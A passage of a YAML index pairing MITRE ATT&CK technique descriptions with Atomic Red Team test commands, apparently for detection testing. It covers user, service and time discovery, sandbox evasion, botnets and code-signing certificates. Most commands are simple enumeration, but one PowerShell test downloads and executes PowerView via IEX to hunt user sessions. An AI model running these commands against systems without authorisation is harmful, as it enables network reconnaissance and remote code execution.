        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: false
      identifier: T1033
    atomic_tests:
    - name: System Owner/User Discovery
      auto_generated_guid: 4c4959bf-addf-4b4a-be86-8d09cc1857aa
      description: "Identify System owner or users on an endpoint.\n\nUpon successful
        execution, cmd.exe will spawn multiple commands against a target host to identify
        usernames. Output will be via stdout. \nAdditionally, two files will be written
        to disk - computers.txt and usernames.txt.\n"
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Name of remote computer
          type: String
          default: localhost
      executor:
        command: |
          cmd.exe /C whoami
          wmic useraccount get /ALL
          quser /SERVER:"#{computer_name}"
          quser
          qwinsta.exe /server:#{computer_name}
          qwinsta.exe
          for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
          @FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
        name: command_prompt
    - name: System Owner/User Discovery
      auto_generated_guid: 2a9b677d-a230-44f4-ad86-782df1ef108c
      description: |
        Identify System owner or users on an endpoint

        Upon successful execution, sh will stdout list of usernames.
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          users
          w
          who
        name: sh
    - name: Find computers where user has session - Stealth mode (PowerView)
      auto_generated_guid: 29857f27-a36f-4f7e-8084-4557cd6207ca
      description: Find existing user session on other computers. Upon execution,
        information about any sessions discovered will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
        name: powershell
  T1007:
    technique:
      created: '2017-05-31T21:30:21.315Z'
      modified: '2020-03-15T01:05:08.805Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1007
        external_id: T1007
      - external_id: CAPEC-574
        source_name: capec
        url: https://capec.mitre.org/data/definitions/574.html
      description: Adversaries may try to get information about registered services.
        Commands that may obtain information about services using operating system
        utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057),
        and "net start" using [Net](https://attack.mitre.org/software/S0039), but
        adversaries may also use other tools as well. Adversaries may use the information
        from [System Service Discovery](https://attack.mitre.org/techniques/T1007)
        during automated discovery to shape follow-on behaviors, including whether
        or not the adversary fully infects the target and/or attempts specific actions.
      name: System Service Discovery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: false
      identifier: T1007
    atomic_tests:
    - name: System Service Discovery
      auto_generated_guid: 89676ba1-b1f8-47ee-b940-2e1a113ebc71
      description: |
        Identify system services.

        Upon successful execution, cmd.exe will execute service commands with expected result to stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          tasklist.exe
          sc query
          sc query state= all
        name: command_prompt
        elevation_required: true
    - name: System Service Discovery - net.exe
      auto_generated_guid: 5f864a3f-8ce9-45c0-812c-bdf7d8aeacc3
      description: |
        Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.

        Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in c:\Windows\Temp\service-list.txt.s
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path of file to hold net.exe output
          type: Path
          default: C:\Windows\Temp\service-list.txt
      executor:
        command: 'net.exe start >> #{output_file}

'
        cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1

'
        name: command_prompt
  T1124:
    technique:
      id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: System Time Discovery
      description: |-
        An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

        System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service)

        This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)
      external_references:
      - source_name: mitre-attack
        external_id: T1124
        url: https://attack.mitre.org/techniques/T1124
      - external_id: CAPEC-295
        source_name: capec
        url: https://capec.mitre.org/data/definitions/295.html
      - url: https://msdn.microsoft.com/ms724961.aspx
        description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016.
        source_name: MSDN System Time
      - url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
        description: Mathers, B. (2016, September 30). Windows Time Service Tools
          and Settings. Retrieved November 25, 2016.
        source_name: Technet Windows Time Service
      - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf
        description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved
          November 25, 2016.
        source_name: RSA EU12 They're Inside
      - source_name: AnyRun TimeBomb
        url: https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/
        description: 'Malicious History. (2020, September 17). Time Bombs: Malware
          With Delayed Execution. Retrieved April 22, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-22T23:09:24.799Z'
      created: '2017-05-31T21:31:37.450Z'
      x_mitre_contributors:
      - FIRST.ORG's Cyber Threat Intelligence SIG
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Command-line interface monitoring may be useful to detect
        instances of net.exe or other command-line utilities being used to gather
        system time or time zone. Methods of detecting API use for gathering this
        information are likely less useful due to how often they may be used by legitimate
        software.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_version: '1.2'
      identifier: T1124
    atomic_tests:
    - name: System Time Discovery
      auto_generated_guid: 20aba24b-e61f-4b26-b4ce-4784f763ca20
      description: 'Identify the system time. Upon execution, the local computer system
        time and timezone will be displayed.

'
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: computer name to query
          type: String
          default: localhost
      executor:
        command: |
          net time \\#{computer_name}
          w32tm /tz
        name: command_prompt
    - name: System Time Discovery - PowerShell
      auto_generated_guid: 1d5711d6-655c-4a47-ae9c-6503c74fa877
      description: 'Identify the system time via PowerShell. Upon execution, the system
        time will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: 'Get-Date

'
        name: powershell
    - name: System Time Discovery in macOS
      auto_generated_guid: f449c933-0891-407f-821e-7916a21a1a6f
      description: "Identify system time. Upon execution, the local computer system
        time and timezone will be displayed. \n"
      supported_platforms:
      - macos
      executor:
        command: 'date

'
        name: sh
  T1497.003:
    technique:
      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
      description: |-
        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.

        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
      name: Time Based Evasion
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1497.003
        url: https://attack.mitre.org/techniques/T1497/003
      - source_name: ISACA Malware Tricks
        url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-01T15:48:28.345Z'
      created: '2020-03-06T21:11:11.225Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Deloitte Threat Library Team
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: 'Time-based evasion will likely occur in the first steps
        of an operation but may also occur throughout as an adversary learns the environment.
        Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as lateral movement,
        based on the information obtained. Detecting actions related to virtualization
        and sandbox identification may be difficult depending on the adversary''s
        implementation and monitoring required. Monitoring for suspicious processes
        being spawned that gather a variety of system information or perform other
        forms of Discovery, especially in a short period of time, may aid in detection. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      - Anti-virus
    atomic_tests: []
  T1497.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1497.002
        url: https://attack.mitre.org/techniques/T1497/002
      - source_name: Sans Virtual Jan 2016
        url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
          Evasion Techniques. Retrieved April 17, 2019.
      - source_name: Unit 42 Sofacy Nov 2018
        url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
      - source_name: FireEye FIN7 April 2017
        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
          LNK. Retrieved April 24, 2017.
        url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: User Activity Based Checks
      description: "Adversaries may employ various user activity checks to detect
        and avoid virtualization and analysis environments. This may include changing
        behaviors based on the results of checks for the presence of artifacts indicative
        of a virtual machine environment (VME) or sandbox. If the adversary detects
        a VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors. \n\nAdversaries may
        search for user activity on the host based on variables such as the speed/frequency
        of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser
        history, cache, bookmarks, or number of files in common directories such as
        home or the desktop. Other methods may rely on specific user interaction with
        the system before the malicious code is activated, such as waiting for a document
        to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or
        waiting for a user to double click on an embedded image to activate.(Citation:
        FireEye FIN7 April 2017) "
      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-07-01T16:32:02.491Z'
      created: '2020-03-06T21:04:12.454Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'User activity-based checks will likely occur in the first
        steps of an operation but may also occur throughout as an adversary learns
        the environment. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as lateral
        movement, based on the information obtained. Detecting actions related to
        virtualization and sandbox identification may be difficult depending on the
        adversary''s implementation and monitoring required. Monitoring for suspicious
        processes being spawned that gather a variety of system information or perform
        other forms of Discovery, especially in a short period of time, may aid in
        detection. '
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_contributors:
      - Deloitte Threat Library Team
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1497:
    technique:
      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
      description: "Adversaries may employ various means to detect and avoid virtualization
        and analysis environments. This may include changing behaviors based on the
        results of checks for the presence of artifacts indicative of a virtual machine
        environment (VME) or sandbox. If the adversary detects a VME, they may alter
        their malware to disengage from the victim or conceal the core functions of
        the implant. They may also search for VME artifacts before dropping secondary
        or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox
        Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery
        to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish
        [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        such as checking for security monitoring tools (e.g., Sysinternals, Wireshark,
        etc.) or other system artifacts associated with analysis or virtualization.
        Adversaries may also check for legitimate user activity to help determine
        if it is in an analysis environment. Additional methods include use of sleep
        timers or loops within malware code to avoid operating within a temporary
        sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n"
      name: Virtualization/Sandbox Evasion
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1497
        url: https://attack.mitre.org/techniques/T1497
      - source_name: Unit 42 Pirpi July 2015
        url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
          23, 2019.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-21T15:16:10.835Z'
      created: '2019-04-17T22:22:24.505Z'
      x_mitre_is_subtechnique: false
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      x_mitre_contributors:
      - Deloitte Threat Library Team
      - Sunny Neo
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: Virtualization, sandbox, user activity, and related discovery
        techniques will likely occur in the first steps of an operation but may also
        occur throughout as an adversary learns the environment. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as lateral movement, based on the information
        obtained. Detecting actions related to virtualization and sandbox identification
        may be difficult depending on the adversary's implementation and monitoring
        required. Monitoring for suspicious processes being spawned that gather a
        variety of system information or perform other forms of Discovery, especially
        in a short period of time, may aid in detection.
      x_mitre_version: '1.2'
    atomic_tests: []
resource-development:
  T1583:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1583
        url: https://attack.mitre.org/techniques/T1583
      - source_name: TrendmicroHideoutsLease
        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
          Bulletproof Hosting Services. Retrieved March 6, 2017.'
        url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Acquire Infrastructure
      description: |-
        Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.

        Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
      id: attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:53:19.397Z'
      created: '2020-09-30T16:37:40.271Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_detection: |-
        Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1583.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1583.005
        url: https://attack.mitre.org/techniques/T1583/005
      - source_name: Norton Botnet
        url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
      - source_name: Imperva DDoS for Hire
        url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
          4, 2020.
      - source_name: Krebs-Anna
        description: Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai
          Worm Author?. Retrieved May 15, 2017.
        url: https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
      - source_name: Krebs-Bazaar
        description: Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service
          Bazaar. Retrieved May 15, 2017.
        url: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/
      - source_name: Krebs-Booter
        description: Brian Krebs. (2016, October 27). Are the Days of “Booter” Services
          Numbered?. Retrieved May 15, 2017.
        url: https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Botnet
      description: 'Adversaries may buy, lease, or rent a network of compromised systems that
        can be used during targeting. A botnet is a network of compromised systems
        that can be instructed to perform coordinated tasks.(Citation: Norton Botnet)
        Adversaries may purchase a subscription to use an existing botnet from a booter/stresser
        service. With a botnet at their disposal, adversaries may perform follow-on
        activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)
        or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation:
        Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)'
      id: attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:49:14.664Z'
      created: '2020-10-01T00:49:05.467Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint
        Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network
        Denial of Service](https://attack.mitre.org/techniques/T1498).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1584.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1584.005
        url: https://attack.mitre.org/techniques/T1584/005
      - source_name: Norton Botnet
        url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
      - source_name: Imperva DDoS for Hire
        url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
          4, 2020.
      - source_name: Dell Dridex Oct 2015
        url: https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation
        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
          October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May
          31, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Botnet
      description: 'Adversaries may compromise numerous third-party systems to form
        a botnet that can be used during targeting. A botnet is a network of compromised
        systems that can be instructed to perform coordinated tasks.(Citation: Norton
        Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation:
        Imperva DDoS for Hire), adversaries may build their own botnet by compromising
        numerous third-party systems. Adversaries may also conduct a takeover of an
        existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation:
        Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform
        follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)
        or Distributed Denial of Service (DDoS).'
      id: attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:01:00.271Z'
      created: '2020-10-01T00:58:35.269Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint
        Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network
        Denial of Service](https://attack.mitre.org/techniques/T1498).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1587.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1587.002
        url: https://attack.mitre.org/techniques/T1587/002
      - url: https://en.wikipedia.org/wiki/Code_signing
        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
          31, 2016.
        source_name: Wikipedia Code Signing
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Code Signing Certificates
      description: |-
        Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

        Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.
      id: attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:06:56.855Z'
      created: '2020-10-01T01:41:08.652Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002)
        or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1588.003:
    technique:
      created: '2020-10-01T02:11:47.237Z'
      modified: '2021-04-15T03:13:16.259Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      type: attack-pattern
      id: attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15
      description: |-
        Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

        Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.
      name: Code Signing Certificates
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1588.003
        url: https://attack.mitre.org/techniques/T1588/003
      - url: https://en.wikipedia.org/wiki/Code_signing
        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
          31, 2016.
        source_name: Wikipedia Code Signing
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002)
        or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
    atomic_tests: []
  T1586:
    technique:
      id: attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a
      description: "Adversaries may compromise accounts with services that can be
        used during targeting. For operations incorporating social engineering, the
        utilization of an online persona may be important. Rather than creating and
        cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)),
        adversaries may compromise existing accounts. Utilizing an existing persona
        may engender a level of trust in a potential victim if they have a relationship,
        or knowledge of, the compromised persona. \n\nA variety of methods exist for
        compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598),
        purchasing credentials from third-party sites, or by brute forcing credentials
        (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior
        to compromising accounts, adversaries may conduct Reconnaissance to inform
        decisions about which accounts to compromise to further their operation.\n\nPersonas
        may exist on a single site or across multiple sites (ex: Facebook, LinkedIn,
        Twitter, Google, etc.). Compromised accounts may require additional development,
        this could include filling out or modifying profile information, further developing
        social networks, or incorporating photos.\n\nAdversaries may directly leverage
        compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598)
        or [Phishing](https://attack.mitre.org/techniques/T1566)."
      name: Compromise Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1586
        url: https://attack.mitre.org/techniques/T1586
      - source_name: AnonHBGary
        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
          story of the HBGary hack. Retrieved March 9, 2017.'
        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:59:07.046Z'
      created: '2020-10-01T01:17:15.965Z'
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
    atomic_tests: []
  T1584:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1584
        url: https://attack.mitre.org/techniques/T1584
